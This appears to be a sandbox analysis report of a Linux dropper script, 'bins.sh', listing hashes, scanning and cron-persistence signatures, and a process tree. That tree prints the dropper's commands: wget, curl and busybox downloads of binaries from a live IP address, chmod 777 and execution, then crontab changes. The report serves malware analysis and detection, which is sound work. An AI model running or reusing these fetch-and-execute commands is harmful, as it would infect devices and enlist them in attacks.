Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 19:52

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3ddeda65fdff7dc7e3cc275ff6f553d3

  • SHA1

    63ea40bbcbb7ae0a7d338ea6283460d48c3f6368

  • SHA256

    67db0a782044ee286667c282875397514a893b73eb8b8102d5401e5841d123af

  • SHA512

    b1a6e4dbb31b142cac5c142a8adafdb6e53106d788ce26f3e40d930a821147cc6dc5289ecc3217d1b7545ab6d69bd3c12c3128a980d76ac3986a334f102c3a0e

  • SSDEEP

    96:Bj2IPO3r7edhO9HzMJQIDCuBlVArHZro/T8jAIC+r7edh4VLIlVArHZfDzMlPQIz:Bj2IPOd92QIDCuBsKQIDCuv

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1964) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          ./kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:743
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            ./60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:746
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:748
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:749
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:750
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:751
                • /bin/rm
                  rm 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
                  2⤵
                    PID:753
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
                    2⤵
                      PID:756
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
                      2⤵
                        PID:757

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ

                      Filesize

                      151KB

                      MD5

                      6c583043d91c55aa470c08c87058e917

                      SHA1

                      abf65a5b9bba69980278ad09356e53de8bb89439

                      SHA256

                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                      SHA512

                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                    • /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO

                      Filesize

                      112KB

                      MD5

                      05d7857dcead18bbd86d2935f591873c

                      SHA1

                      34d18f41ef35f93d5364ce3e24d74730a4e91985

                      SHA256

                      2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                      SHA512

                      d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                    • /var/spool/cron/crontabs/tmp.b3sQCO

                      Filesize

                      210B

                      MD5

                      0f0e313b9497af43415675ada1c22c7c

                      SHA1

                      96cb9f10015e094623feef4fb86aab774e91183b

                      SHA256

                      0003ba56ae1e02c79c9b0d5ef7559e49aac15539082be0208bd343dd8016bd5f

                      SHA512

                      3afd410c61a83c4ad87a57c19c6bad200eb3e6a8fdcc0fa0a511188b7fc34b33ac061a91c4892bf4e15453018c8418cb6883494454832e91e3abd0744e97a3d3